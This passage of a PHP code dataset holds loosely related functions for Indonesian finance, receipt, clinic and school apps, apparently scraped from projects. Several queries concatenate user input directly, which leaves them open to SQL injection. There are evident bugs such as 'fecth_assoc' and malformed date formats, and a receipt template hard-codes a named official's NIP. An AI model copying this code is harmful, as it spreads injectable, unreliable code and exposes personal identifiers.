$b_tanggal_jtempo;\n\t\t\t\t\t} else {\n\t\t\t\t\t\t$jtempo_angsuran_next = $data_financing['jto_next2'];\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\t// collect array for angsuran\n\t\t \t// if this angsuran is pelunasan then this condition will not run\n\t\t \t// else will insert to trx_detail and trx_account_financing\n\t\t \tif ($b_new_counter_angsuran!=$b_jangka_waktu) {\n\t\t \t\t$data_trx = array(\n\t\t\t\t\t\t\t 'b_trx_detail_id' => $b_trx_detail_id\n\t\t\t\t\t\t\t,'b_trx_type' => $b_trx_type\n\t\t\t\t\t\t\t,'b_trx_account_type' => $b_trx_account_type\n\t\t\t\t\t\t\t,'b_account_financing_no' => $b_account_financing_no\n\t\t\t\t\t\t\t,'b_jumlah_angsuran' => $b_jumlah_angsuran\n\t\t\t\t\t\t\t,'b_trx_account_financing_id' => $b_trx_account_financing_id\n\t\t\t\t\t\t\t,'trx_date' => $trx_date\n\t\t\t\t\t\t\t// ,'b_jtempo_angsuran_next' => $b_jtempo_angsuran_last\n\t\t\t\t\t\t\t,'b_jtempo_angsuran_next' => $b_jtempo_angsuran_next\n\t\t\t\t\t\t\t,'b_angsuran_pokok' => $b_angsuran_pokok\n\t\t\t\t\t\t\t,'b_angsuran_margin' => $b_angsuran_margin\n\t\t\t\t\t\t\t,'referensi' => $referensi\n\t\t\t\t\t\t\t,'seq' => $seq\n\t\t\t\t\t\t\t,'akun' => $akun\n\t\t\t\t\t\t\t,'b_new_counter_angsuran' => $b_new_counter_angsuran\n\t\t \t\t\t);\n\n\t\t \t\t$ins = $this->get_trx_angsuran_data($data_trx);\n\t\t \t\t$ins_data_trx[] = $ins['ins_data_trx'];\n\t\t \t\t$ins_data[] = $ins['ins_data'];\n\t\t\t\t} else {\n\t\t \t\t$is_pelunasan = true;\n\t\t\t\t}\n\n\t\t\t\tif ($is_pelunasan) {\n\t\t\t\t\t$jtempo_angsuran_next = $b_tanggal_jtempo;\n\t\t\t\t}\n\n\t\t\t\t// update saldo account pembiayaan\n\t\t\t\t$pembiayaan = array(\n\t\t\t\t\t'saldo_pokok'=>$b_saldo_pokok-$b_angsuran_pokok,\n\t\t\t\t\t'saldo_margin'=>$b_saldo_margin-$b_angsuran_margin,\n\t\t\t\t\t'jtempo_angsuran_last'=>$b_jtempo_angsuran_next,\n\t\t\t\t\t'jtempo_angsuran_next'=>$jtempo_angsuran_next,\n\t\t\t\t\t'counter_angsuran'=>$b_new_counter_angsuran\n\t\t\t\t);\n\n\t\t\t\t// begin\n\t\t\t\t// do this section if flag_jadwal_angsuran = non reguler ( 0 )\n\t\t\t\t$param_pembiayaan_schedulle=array();\n\t\t\t\t$pembiayaan_schedulle=array();\n\t\t\t\tif ($b_flag_jadwal_angsuran==0){\n\t\t\t\t\t$param_pembiayaan_schedulle = array(\n\t\t\t\t\t\t'account_no_financing'=>$b_account_financing_no\n\t\t\t\t\t\t,'tangga_jtempo'=>$b_jtempo_angsuran_next\n\t\t\t\t\t);\n\t\t\t\t\t$pembiayaan_schedulle = array(\n\t\t\t\t\t\t\t'status_angsuran'=>1,\n\t\t\t\t\t\t\t'tanggal_bayar'=>$trx_date,\n\t\t\t\t\t\t\t'bayar_pokok'=>$b_angsuran_pokok,\n\t\t\t\t\t\t\t'bayar_margin'=>$b_angsuran_margin\n\t\t\t\t\t\t);\n\t\t\t\t}\n\t\t\t\t// end \n\n\t\t\t\tif ($is_pelunasan) {\n\t\t\t\t\t$pembiayaan['status_rekening'] = 2;\n\n\t\t\t\t\t$pembiayaan_lunas = array(\n\t\t\t\t\t\t\t'account_financing_lunas_id'=>$b_trx_account_financing_id,\n\t\t\t\t\t\t\t'account_financing_no'=>$b_account_financing_no,\n\t\t\t\t\t\t\t'saldo_pokok'=>$b_saldo_pokok,\n\t\t\t\t\t\t\t'saldo_margin'=>$b_saldo_margin,\n\t\t\t\t\t\t\t'potongan_margin'=>0,\n\t\t\t\t\t\t\t'status_pelunasan'=>1,\n\t\t\t\t\t\t\t'tanggal_lunas'=>$trx_date,\n\t\t\t\t\t\t\t'create_by'=>$this->session->userdata('user_id'),\n\t\t\t\t\t\t\t'created_date'=>date('Y-m-d H:i:s'),\n\t\t\t\t\t\t\t'verify_by'=>$this->session->userdata('user_id'),\n\t\t\t\t\t\t\t'verifiy_date'=>date('Y-m-d H:i:s'),\n\t\t\t\t\t\t\t'saldo_catab'=>0\n\t\t\t\t\t\t);\n\n\t\t\t\t\t$trx_pembiayaan_lunas = array(\n\t\t\t\t\t\t\t'trx_account_financing_id'=>$b_trx_account_financing_id\n\t\t\t\t\t\t\t,'branch_id' => $this->session->userdata('branch_id')\n\t\t\t\t\t\t\t,'trx_detail_id' => $b_trx_detail_id\n\t\t\t\t\t\t\t,'account_financing_no' => $b_account_financing_no\n\t\t\t\t\t\t\t,'trx_financing_type' => '2'\n\t\t\t\t\t\t\t,'trx_date' => $trx_date\n\t\t\t\t\t\t\t,'jto_date' => $b_jtempo_angsuran_next\n\t\t\t\t\t\t\t,'pokok' => $b_saldo_pokok\n\t\t\t\t\t\t\t,'margin' => $b_saldo_margin\n\t\t\t\t\t\t\t,'catab' => '0'\n\t\t\t\t\t\t\t,'description' => 'PELUNASAN PEMBIAYAAN Rek.'.$b_account_financing_no\n\t\t\t\t\t\t\t,'created_date' => date('Y-m-d H:i:s')\n\t\t\t\t\t\t\t,'created_by' => $this->session->userdata('user_id')\n\t\t\t\t\t\t\t,'verify_by' => $this->session->userdata('user_id')\n\t\t\t\t\t\t\t,'verify_date' => date('Y-m-d H:i:s')\n\t\t\t\t\t\t\t,'trx_status' => 1\n\t\t\t\t\t\t\t,'freq' => 1\n\t\t\t\t\t\t\t,'angsuran_ke' => $b_jangka_waktu\n\t\t\t\t\t\t\t,'account_cash_code'=>$akun\n\t\t\t\t\t\t\t,'tipe_angsuran'=>'2'\n\t\t\t\t\t\t);\n\n\t\t\t\t\t$trx_detail = array(\n\t\t\t\t\t\t\t'trx_detail_id' => $b_trx_detail_id\n\t\t\t\t\t\t\t,'trx_type' => '2'\n\t\t\t\t\t\t\t,'trx_account_type' => '3'\n\t\t\t\t\t\t\t,'account_no' => $b_account_financing_no\n\t\t\t\t\t\t\t,'flag_debit_credit' => 'C'\n\t\t\t\t\t\t\t,'amount' => ($b_saldo_pokok+$b_saldo_margin)\n\t\t\t\t\t\t\t,'trx_date' => $trx_date\n\t\t\t\t\t\t\t,'description' => 'PELUNASAN PEMBIAYAAN Rek.'.$b_account_financing_no\n\t\t\t\t\t\t\t,'created_date' => date('Y-m-d H:i:s')\n\t\t\t\t\t\t\t,'created_by' => $this->session->userdata('user_id')\n\t\t\t\t\t\t);\n\n\t\t\t\t\tif ($debug==true) {\n\t\t\t\t\t\techo 'Pelunasan-------------------------------------<br>';\n\t\t\t\t\t\techo \"<pre>\";\n\t\t\t\t\t\tprint_r($pembiayaan_lunas);\n\t\t\t\t\t\tprint_r($trx_detail);\n\t\t\t\t\t\tprint_r($trx_pembiayaan_lunas);\n\t\t\t\t\t} else {\n\t\t\t\t\t\t$this->model_transaction->insert_account_financing_lunas($pembiayaan_lunas);\n\t\t\t\t\t\t$this->model_transaction->insert_trx_detail($trx_detail);\n\t\t\t\t\t\t$this->model_transaction->insert_trx_account_financing($trx_pembiayaan_lunas);\n\t\t\t\t\t}\n\n\t\t\t\t}\n\t\t\t\t// end check of if pelunasan\n\n\t\t\t\t$param_pembiayaan = array('account_financing_no'=>$b_account_financing_no);\n\n\t\t\t\tif ($debug==true) {\n\t\t\t\t\techo 'ANGSURAN NORMAL '.$i.' -------------------------------------<br>';\n\t\t\t\t\techo \"<pre>\";\n\t\t\t\t\tprint_r($pembiayaan);\n\t\t\t\t\tprint_r($param_pembiayaan);\n\t\t\t\t\tprint_r($pembiayaan_schedulle);\n\t\t\t\t} else {\n\t\t\t\t\t$this->model_transaction->update_account_financing($pembiayaan,$param_pembiayaan);\n\t\t\t\t\tif (count($pembiayaan_schedulle)>0) {\n\t\t\t\t\t\t$this->model_transaction->update_account_financing_schedulle($pembiayaan_schedulle,$param_pembiayaan_schedulle);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t$log_payed_data = $this->model_transaction->get_log_payed_data($angsuran_id,$trx_date);\n\t\tif ($debug==true) {\n\t\t\techo \"<pre>\";\n\t\t\tprint_r($ins_data);\n\t\t\tprint_r($ins_data_trx);\n\t\t\tdie();\n\t\t} else {\n\t\t\tif(count($ins_data)>0){\n\t\t\t\t$this->model_transaction->insert_angsuran_into_mfi_trx_financing($ins_data);\n\t\t\t}\n\t\t\tif(count($ins_data_trx)>0){\n\t\t\t\t$this->model_transaction->insert_angsuran_into_trx_detail($ins_data_trx);\n\t\t\t}\n\t\t\tif(count($log_payed_data)>0){\n\t\t\t\t$this->model_transaction->insert_log_trx_pendebetan($log_payed_data);\n\t\t\t}\n\t\t}\n\n\t\tif ($debug==true) {\n\t\t\techo \"<pre>\";\n\t\t\tprint_r($angsuran_id);\n\t\t\tprint_r($akun);\n\t\t\tprint_r($referensi);\n\t\t\tprint_r($param_temp);\n\t\t\t// print_r($param_temp_detail);\n\t\t\tdie();\n\t\t} else {\n\t\t\t$this->model_transaction->fn_proses_jurnal_angsuran_pyd_koptel($angsuran_id,$akun,$referensi); // proses jurnal transaksi pembiayaan\n\t\t\t// $this->model_transaction->delete_from_mfi_angsuran_temp_detail_unins($param_temp_detail);\n\t\t\t$this->db->update('mfi_angsuran_temp',array('status'=>2),array('angsuran_id'=>$angsuran_id));\n\n\t\t\t$check_tab = $this->model_transaction->get_mfi_angsuran_temp_tab($angsuran_id);\n\t\t\tif($check_tab->num_rows() > 0)\n\t\t\t{\n\t\t\t\tforeach($check_tab->result_array() as $list){\n\t\t\t\t\t$arrdata = json_decode($list['data'], true);\n\t\t\t\t\t$this->add_setoran_tunai($arrdata);\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t$this->db->update('mfi_angsuran_temp_tab',array('status'=>1),array('angsuran_id'=>$angsuran_id));\n\t\t}\n\n\t\tif($this->db->trans_status()==true){\n\t\t\t$this->db->trans_commit();\n\n\t\t\t$this->db->query(\"UPDATE mfi_trx_account_financing SET seq='$seq', reference_no='$no_ref' WHERE trx_account_financing_id='$id_transaksi'\");\n\n\t\t\t$return = array('success'=>true,'trx_date'=>$trx_date);\n\t\t}else{\n\t\t\t$this->db->trans_rollback();\n\t\t\t$return = array('success'=>false);\n\t\t}\n\n\t\techo json_encode($return);\n\t}",
"public function Kuitansi_Honor_Uang_Saku($data) {\n $id = $data;\n\n $result = $this->query(\"SELECT penerima, value, npwp, deskripsi, honor_output, honor_profesi, pajak FROM rabfull where id='$id' \");\n $data = $this->fetch_array($result);\n\n ob_start();\n echo ' <p align=\"right\">No...............................................</p>'; \n require_once __DIR__ . \"/../utility/report/header_dikti.php\";\n echo ' <p align=\"center\" style=\"font-weight:bold; font-size:1.2em\">KUINTANSI</p>\n <table style=\"width: 100%; font-size:80%;\" border=\"0\"> \n <tr>\n <td align=\"left\" width=\"20%\">Sudah Terima Dari </td>\n <td align=\"left\">: '.$data[penerima].'</td>\n </tr> \n <tr>\n <td align=\"left\">Jumlah Uang</td>\n <td align=\"left\" style=\"background-color:gray\">: Rp. '.$data[value].'</td>\n </tr> \n <tr>\n <td align=\"left\">Uang Sebesar</td>\n <td align=\"left\">: '.$this->terbilang($data[value],1).'</td>\n </tr> \n <tr>\n <td align=\"left\">Untuk Pembayaran</td>\n <td align=\"left\">: '.$data[deskripsi].'</td>\n </tr> \n\n </table>';\n \n echo '<br></br>\n <table style=\"text-align: center; width: 100%; font-size:84%; font-family:serif\" >\n \n <tr>\n <td style=\"text-align: center;\"> Mengetahui/Setuju dibayar </td>\n <td style=\"text-align: center;\">Lunas Dibayar</td>\n <td style=\"text-align: center;\">........................ 2016</td>\n </tr> \n <tr>\n <td style=\"text-align: center;\">Pejabat Pembuat Komitmen,</td>\n <td style=\"text-align center;\">Tgl...........................</td>\n <td style=\"text-align: center;\">Penerima</td>\n </tr>\n <tr>\n <td><br></br> <br></br> <br></br></td>\n <td><br></br> <br></br> <br></br></td>\n </tr>\n <tr>\n <td style=\"text-align: center;\">'.'..................................'.'</td>\n <td style=\"text-align: center;\">'.'..................................'.'</td>\n <td style=\"text-align: center;\">'.'(..................................)'.'</td>\n </tr> \n\n <tr>\n <td style=\"text-align: center;\">NIP'.'..........................'.'</td>\n <td style=\"text-align: center;\">NIP'.\" \".'..........................'.'</td>\n <td style=\"text-align: center;\"></td>\n </tr>\n </table>';\n echo '<p>__ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __</p>';\n\n echo '<table style=\" text-align: left; border-collapse: collapse; margin-left: auto; margin-right: auto; width: 100%; font-size:0.8em; font-family:serif; \" align=\"center\">\n <tr>\n <td rowspan=\"4\" width=\"13%\"><img src=\"<../../static/dist/img/dirjenpajak.png\" height=\"8%\" /></td>\n <td style= \"vertical-align: bottom;\">KEMENTERIAN KEUANGAN REPUBLIK INDONESIA</td>\n \n </tr>\n <tr>\n <td style= \"vertical-align: bottom;\">DIREKTORAT JENDERAL PAJAK </td>\n </tr>\n <tr>\n <td style= \"vertical-align: bottom;\" style=\" font-weight:bold; text-align: center;\">BUKTI PEMOTONGAN PPh pasal 21</td>\n </tr> \n <tr>\n <td style= \"vertical-align: bottom;\" style=\" font-weight:bold; text-align: center;\" >Nomor : ........................</td>\n </tr> \n \n\n </table>';\n echo ' <table style=\"width: 100%; font-size:80%;\" border=\"0\"> \n <tr>\n <td align=\"left\" width=\"17%\">Nama Wajib Pajak </td>\n <td align=\"left\">: </td>\n </tr> \n <tr>\n <td align=\"left\" width=\"17%\">NPWP</td>\n <td align=\"left\">:</td>\n </tr> \n <tr>\n <td align=\"left\" width=\"17%\">Alamat</td>\n <td align=\"left\">: </td>\n </tr> \n\n </table>';\n echo '<br></br>\n <table style=\"text-align: left; width: 100%; font-size:84%; font-family:serif\" >\n \n <tr>\n <td > Penghasilan </td>\n <td >Jumlah</td>\n <td >Tarif</td>\n <td >Pph yang dipotong</td>\n </tr> \n <tr>\n <td >1. Honorarium</td>\n <td style=\"text-align center;\">Rp.................</td>\n <td >................... %</td>\n <td >Rp................... </td>\n </tr>\n\n <tr>\n <td >2. Imbalan Lainnya</td>\n <td style=\"text-align center;\">Rp.................</td>\n <td >................... %</td>\n <td >Rp................... </td>\n </tr>\n <tr>\n <td ></td>\n <td style=\"text-align center;\"></td>\n <td >JUMLAH</td>\n <td >Rp................... </td>\n </tr>\n <tr>\n <td style=\"text-align: center;\"></td>\n <td style=\"text-align center;\"></td>\n <td style=\"text-align: center;\"></td>\n <td style=\"text-align: center;\">Jakarta, .............................................</td>\n </tr>\n\n <tr>\n <td style=\"text-align: center;\"></td>\n <td style=\"text-align center;\"></td>\n <td style=\"text-align: center;\"></td>\n <td style=\"text-align: center; font-size:0.7em;\">Pemotong Pajak :</td>\n </tr>\n <tr>\n <td style=\"text-align: center;\"></td>\n <td style=\"text-align center;\"></td>\n <td style=\"text-align: center;\"></td>\n <td width=\"27%\" style=\"text-align: center; font-size:0.7em;\">Nama : Bendahara Pengeluaran Direktorat Jenderal Kelembagaann IPTEK dan DIKTI</td>\n </tr>\n <tr>\n <td style=\"text-align: center;\"></td>\n <td style=\"text-align center;\"></td>\n <td style=\"text-align: center;\"></td>\n <td width=\"27%\" style=\"text-align: center; font-size:0.7em;\">NPWP : 00.493.675.3-077.000</td>\n </tr>\n <br></br>\n <br></br>\n <br></br>\n <br></br>\n <tr >\n <td style=\"text-align: center;\"></td>\n <td style=\"text-align center;\"></td>\n <td style=\"text-align: center;\"></td>\n <td style=\"text-align: center;\">Josephine Margaretta</td>\n </tr>\n <tr>\n <td style=\"text-align: center;\"></td>\n <td style=\"text-align center;\"></td>\n <td style=\"text-align: center;\"></td>\n <td style=\"text-align: center;\">NIP. 19870613 201012 2 009</td>\n </tr>\n\n\n\n </table>';\n \n $html = ob_get_contents(); \n $this->create_pdf(\"Kw_Honor_Uang_Saku\",\"A4\",$html);\n \n }",
"function POSTDataKelas ($id_kelas,$nama_kelas,$kompetensi_keahlian){\r\n\r\n // Perintah Post Data Siswa\r\n $this->MKelas->POST($id_kelas,$nama_kelas,$kompetensi_keahlian);\r\n }",
"public function listdataKeuAction() {\n $this->view->dataList = $this->adm_listdata_serv->getDataList('KEUANGAN');\n }",
"function ubah_harga_post(){\n\t\t$response['post'] = $this->post();\n \ttry {\n\t\t\t$idPelanggan = $this->post('id_pelanggan');\n\t $hargaLama = $this->post('harga_lama');\n\t $hargaBaru = $this->post('harga_baru');\n\t $bbm = $this->post('bbm');\n\t \n\t $pelanggan = $this->get_model->getMPelanggan($idPelanggan);\n\t if ($pelanggan != NULL){\n\t \t$idClusterPelanggan = $pelanggan[0]['id_cluster_pelanggan'];\n\t\t\t\t$response['update_result'] = $this->update_model->updateMGeneral($idClusterPelanggan, $hargaLama, $hargaBaru);\n\t \t$response['insert_result'] = $this->insert_model->insertLogUbahHargaPelanggan($idClusterPelanggan, $hargaBaru, $bbm);\n\t\t\t} else {\n\t\t\t\t$response['status'] = 'WRONG ID PELANGGAN - DATA NOT FOUND IN DATABASE';\n\t\t\t}\n\t \n\t\t\t$this->response($response, 200);\n\t\t} catch (Exception $ex) {\n\t\t\t$this->response(array( 'status' => \"Caught in exception :: \" . $ex->getMessage() ), 406);\n\t\t}\n\t}",
"private function Zapis_kolize_formulare($pole, $idcka_skolizi, $iducast, $formular) { \r\n//znevalidneni vsech kolizi pro ucastnika a tento formular\r\n self::Znevalidni_kolize_ucastnika_formulare($iducast, $formular); \r\n\r\n//zapis do uc_kolize_table pro kazdou nastalou s_kolizi\r\n foreach ($idcka_skolizi as $id_skolize) { //zapisovana policka jsou v $pole\r\n //echo \"policko: \" . $pole['uc_kolize_table§' . $id_skolize . '_revidovano'];\r\n $kolize = new Projektor2_Table_UcKolizeData ($iducast, (int)$id_skolize,\r\n $pole['uc_kolize_table§' . $id_skolize . '_revidovano'],\r\n $pole['uc_kolize_table§' . $id_skolize . '_revidovano_pozn'],\r\n null, 1,\r\n null,null,null,null,null) ;\r\n // echo \"v Zapis_kolize_temp\" . var_dump ($kolize);\r\n $kolize->Zapis_jednu_kolizi(); //kdyz je v tabulce uc_kolize_table, tak prepsat, kdyz neni, tak insert\r\n }\r\n\r\n}",
"function getTabelSurat($surat,$nomor_pasien)\n\t{\n\t\t// select * from suratrujukan WHERE nomor_pasien='001-006-01-02-07-2018' ORDER BY id DESC limit 1 ;\n\t\t// sebelumnya telah dibuatkan data pada tabel surat rujukan, actionnya saat klink tombol surat rujukan pada pemeriksaan\n\t\t$data = json_encode($this->Kesehatan_M->rawQuery(\"SELECT * FROM surat\".$surat.\" WHERE nomor_pasien='\".$nomor_pasien.\"' ORDER BY id DESC limit 1 \")->result());\n\t\techo $data;\n\t}",
"public function tabel_data()\n {\n $tampil = $this->koneksi()->prepare(\"SELECT id FROM tb_users\");\n $tampil->execute();\n $tampil->setFetchMode(PDO::FETCH_ASSOC);\n if (count($tampil)>0){\n while ($data=$tampil->fetch(PDO::FETCH_ORI_NEXT)){\n $user_id_array [] = $data['id'];\n }\n }\n\n $tampil = $this->koneksi()->prepare(\"SELECT id FROM tb_lbb\");\n $tampil->execute();\n $tampil->setFetchMode(PDO::FETCH_ASSOC);\n if (count($tampil)>0){\n while ($data=$tampil->fetch(PDO::FETCH_ORI_NEXT)){\n $lbb_id_array [] = $data['id'];\n }\n }\n\n foreach ($user_id_array as $user_id){\n foreach ($lbb_id_array as $lbb_id){\n $rating = \"0\";\n $tampil = $this->koneksi()->prepare(\"SELECT rating FROM tb_rating WHERE user_id=:user_id AND lbb_id=:lbb_id\");\n $tampil->bindParam(':user_id', $user_id);\n $tampil->bindParam(':lbb_id', $lbb_id);\n $tampil->execute();\n $tampil->setFetchMode(PDO::FETCH_ASSOC);\n if (count($tampil)>0){\n while ($data=$tampil->fetch(PDO::FETCH_ORI_NEXT)){\n $rating = $data['rating'];\n }\n }\n $tabel_data [$user_id] [$lbb_id] = $rating;\n }\n }\n\n return $tabel_data;\n }",
"function datagolongan() {\n\t\t\t\t$koneksi = $this->koneksi;\n\t\t\t\t// SQL\n\t\t\t\t$query\t\t\t= \"SELECT * FROM golongan\";\n\t\t\t\t\n\t\t\t\t$sql\t\t\t= mysqli_query($koneksi,$query);\n\t\t\t\t\n\t\t\t\treturn $sql;\n\t\t\t}",
"function cariObat()\n\t{\n\t\tif ($this->input->get() != NULL) {\n\t\t\t$dataForm = $this->input->get();\n\t\t\t\n\t\t\t$dataReturn = $this->db->query(\" SELECT * FROM logistik WHERE nama LIKE '%\".$dataForm['term']['term'].\"%' ESCAPE '!' AND stok > 0\")->result();\t\t\t\n\n\t\t\t$data = array();\n\t\t\tforeach ($dataReturn as $key => $value) {\n\t\t\t\t$data[$key]['id'] = $value->id.\"|\".$value->nama;\n\t\t\t\t$data[$key]['text'] = $value->nama;\n\t\t\t\t$data[$key]['stok'] = $value->stok;\n\t\t\t\tif ($value->kadaluarsa < date(\"Y-m-d-d\")) {\n\t\t\t\t\t$data[$key]['stok'] .= \" Sudah kadaluarsa\";\n\t\t\t\t}\n\t\t\t\t$data[$key]['satuan'] = $value->satuan;\n\t\t\t}\n\t\t\techo json_encode($data);\n\t\t}else{\n\t\t\tredirect();\n\t\t}\t\t\n\t}",
"function tampil_data($tabel)\n {\n $row = $this->db->prepare(\"SELECT * FROM sms\");\n $row->execute();\n return $hasil = $row->fetchAll();\n }",
"function list_kelas_pertemuan_get()\n {\n $query = $this->M_kelas_pertemuan->tampil_data('kelas_pertemuan');\n\n // variable array\n $result = array();\n $result['kelas_pertemuan'] = array();\n\n if ($query->num_rows() > 0) {\n\n // mengeluarkan data dari database\n foreach ($query->result_array() as $row) {\n\n // ambil detail data db\n $data = array(\n 'id_kelas_p' => $row[\"id_kelas_p\"],\n 'id_pengajar' => $row[\"id_pengajar\"],\n 'id_mata_pelajaran' => $row[\"id_mata_pelajaran\"],\n 'hari' => $row[\"hari\"],\n 'jam_mulai' => $row[\"jam_mulai\"],\n 'jam_berakhir' => $row[\"jam_berakhir\"],\n 'harga_fee' => $row[\"harga_fee\"],\n 'harga_spp' => $row[\"harga_spp\"],\n 'id_sharing' => $row[\"id_sharing\"],\n 'nama_sharing' => $row[\"nama_sharing\"],\n );\n\n array_push($result['kelas_pertemuan'], $data);\n\n // membuat array untuk di transfer\n $result[\"success\"] = \"1\";\n $result[\"message\"] = \"success berhasil mengambil data\";\n $this->response($result, 200);\n }\n } else {\n // membuat array untuk di transfer ke API\n $result[\"success\"] = \"0\";\n $result[\"message\"] = \"error data tidak ada\";\n $this->response($result, 200);\n }\n }",
"public function data_bahan_kuliah()\n\t{\n\t\t$this->load->model(\"m_aka\");\n\t\t$data['data'] = $this->m_aka->data_bahan_kuliah(); \n\t\t$data['pagination'] = $this->pagination->create_links();\n\t\t$data['content'] = 'posting_pengumuman/data_bahan_kuliah';\n\t\t$this->load->view('content', $data);\n\t}",
"public function data_kalender_akademik()\n\t{\n\t\t$data['content'] = 'jadwal/data_kalender_akademik';\n\t\t$data['data'] = $this->m_aka->data_kalender_akademik();\n\t\t$data['pagination'] = $this->pagination->create_links();\t\t\n\t\t$this->load->view('content', $data);\n\t}",
"function ubah($data) {\n $conn = koneksi_db();\n\n $id = htmlspecialchars ($data['id']);\n $gambar = htmlspecialchars ($data['gambar']);\n $gambarLama = htmlspecialchars ($data['gambarLama']);\n $judul_buku = htmlspecialchars ($data['judul_buku']);\n $deskripsi = htmlspecialchars ($data['deskripsi']);\n $penulis = htmlspecialchars ($data['penulis']);\n $tahun_terbit = htmlspecialchars ($data['tahun_terbit']);\n $penerbit = htmlspecialchars ($data['penerbit']);\n $stok = htmlspecialchars ($data['stok']);\n $harga = htmlspecialchars ($data['harga']);\n\n // cek user upload gambar baru atau tidak\n if($_FILES['gambar']['error'] === 4) {\n $gambar = $gambarLama;\n } else {\n $gambar = upload();\n }\n\n //query update data\n $query = \"UPDATE daftar_buku\n SET\n gambar = '$gambar',\n judul_buku = '$judul_buku',\n deskripsi = '$deskripsi',\n penulis = '$penulis',\n tahun_terbit = $tahun_terbit,\n penerbit = '$penerbit',\n stok = $stok,\n harga = '$harga'\n WHERE id = $id\n \";\n\n mysqli_query($conn, $query);\n\n return mysqli_affected_rows($conn);\n }",
"private function getData() {\n $arr = \\Yii::$app->session->get('arr');\n if(isset($arr['pkd']) && $arr['pkd'] !== '0'){\n $pkd = \\app\\models\\Rujukan::find()->where(['kod' => $arr['pkd'], 'kat' => 'pkd'])->one();\n } else {\n $pkd = new \\app\\models\\Rujukan();\n }\n\n if(isset($arr['pks']) && $arr['pks'] !== '0'){\n $klinik = \\app\\models\\Klinik::find()->where(['id' => $arr['pks']])->one();\n } else {\n $klinik = new \\app\\models\\Klinik();\n }\n\n if(isset($arr['sekolah']) && $arr['sekolah'] !== '0'){\n $sekolah = \\app\\models\\Sekolah::find()->where(['id' => $arr['sekolah']])->one();\n } else {\n $sekolah = new \\app\\models\\Sekolah();\n }\n //\\var_dump($arr);exit;\n return ['pkd' => $pkd, 'klinik' => $klinik, 'sekolah' => $sekolah, 'ym_dari' => $arr['ym_dari'], 'ym_hingga' => $arr['ym_hingga']];\n }",
"public function getPraktikum()\n\t{\n\t\t$sql = \"SELECT * FROM praktikum WHERE\nstatus = 1\";\n\t $query = koneksi()->query($sql);\n\t $hasil = [];\n\t while ($data = $query->fecth_assoc())\n\t\t$hasil[] = $data;\n\t }",
"function caridata()\n\t\t{\n\t\t\t$data['kode'] = $this->Pendataan_model->getIdDahak();\n\t\t\t$data['keyword'] = $this->input->post(\"keyword\");\n\t\t\t$data['pasientbc']= $this->Pendataan_model->getByName($data['keyword'])->row_array();\n\t\t\t$this->load->view(\"cekdahak/form_cekdahak2\", $data);\n\t\t}",
"public function absen(){\n\t\t\t$id_kelas = $this->input->post('id_kelas');\n\t\t\t$keterangan = $this->input->post('keterangan');\n\t\t\t$tanggal = $this->input->post('tanggal');\n\t\t\t$sesi = $this->input->post('sesi');\n\n\t\t\t$presensiInfo = array(\n\t\t\t\t'id_kelas'=>$id_kelas,\n\t\t\t\t'tgl_pertemuan'=>$tanggal,\n\t\t\t\t'keterangan'=>$keterangan,\n\t\t\t\t'sesi'=>$sesi,\n\t\t\t\t'status_pertemuan'=>'Tidak Hadir',\n\t\t\t\t\"createDtm\"=>date('Y-m-d H:s:i')\n\t\t\t);\n\n\t\t\t//get id_pertemuan yang barusaja dibuat\n\t\t\t$result = $this->JadwalAkademikM->presensi($presensiInfo);\n\n\t\t\tif($result > 0){\n\t\t\t\t$this->session->set_flashdata('success','Presensi berhasil dibuat');\n\t\t\t}else{\n\t\t\t\t$this->session->set_flashdata('error','Presensi gagal dibuat');\n\t\t\t}\n\n\t\t\tredirect('jadwalAkademikR');\n\t\t}",
"function inputRekeningUser($data){\n// DETAIL AWAL PEMBUATAN REKENING MASIH BELOM DILAKUKAN\n $pengajuan = $this->getPengajuan($data['id']);\n if($pengajuan['kategori']==\"Tabungan\" || $pengajuan['kategori']==\"Tabungan Awal\"){\n $rekening =$this->getRekeningByid((json_decode($pengajuan->detail,true)['tabungan']));\n $detail=[\n 'saldo' => (json_decode($rekening->detail,true)['setoran_awal']),\n 'id_pengajuan' =>$pengajuan->id,\n ];\n $tab = $this->tabungan->where('id_user', $pengajuan->id_user)->orderBy('id','DESC')->get();\n\n if(count($tab)<1)$id=1;\n else $id=str_after($tab[0]['id_tabungan'], '.')+1;\n\n $detail_ptabungan=[\n 'teller' => Auth::user()->id,\n 'dari_rekening' => \"\",\n 'untuk_rekening' => json_decode(Auth::user()->detail,true)['id_rekening'],\n 'jumlah' => $detail['saldo'],\n 'saldo_awal' => 0,\n 'saldo_akhir' => $detail['saldo']\n ];\n $data2=[\n 'tipe' => $pengajuan->kategori,\n 'id_UsrTDP' =>$pengajuan->id_user.\".\".$id,\n 'id_TDP'=> $pengajuan->id_rekening,\n 'id_pengajuan' =>$pengajuan->id,\n 'jenis_TDP' =>json_decode($pengajuan['detail'],true)['nama_rekening'],\n 'id_user' =>$pengajuan->id_user,\n 'id_pencairan' =>$pengajuan->id_pencairan,\n 'status' =>\"Setoran Awal\",\n ];\n\n if($pengajuan->kategori==\"Tabungan Awal\"){\n $data2['pokok'] = str_replace(',',\"\",$data['pokok']);\n $data2['wajib'] = str_replace(',',\"\",$data['wajib']);\n }\n if($this->setoranAwal($detail_ptabungan,$data2)) return true;\n else return false;\n }\n elseif($pengajuan['kategori']==\"Deposito\"){\n $tab = $this->deposito->where('id_user', $pengajuan->id_user)->orderBy('id','DESC')->get();\n if(count($tab)<1)$id=1;\n else $id=str_after($tab[0]['id_deposito'], '.')+1;\n $rekening =$this->getRekeningByid((json_decode($pengajuan->detail,true)['deposito']));\n $detail_pdeposito=[\n 'teller' => Auth::user()->id,\n 'dari_rekening' => \"\",\n 'untuk_rekening' => json_decode(Auth::user()->detail,true)['id_rekening'],\n 'jumlah' => json_decode($pengajuan->detail,true)['jumlah'],\n 'saldo_awal' => 0,\n 'saldo_akhir' => json_decode($pengajuan->detail,true)['jumlah']\n ];\n $data=[\n 'tipe' => $pengajuan->kategori,\n 'id_UsrTDP' =>$pengajuan->id_user.\".\".$id,\n 'id_TDP'=> $pengajuan->id_rekening,\n 'id_pengajuan' =>$pengajuan->id,\n 'tempo' =>json_decode($rekening->detail,true)['jangka_waktu'],\n 'jenis_TDP' =>json_decode($pengajuan['detail'],true)['nama_rekening'],\n 'id_user' =>$pengajuan->id_user,\n 'id_pencairan' 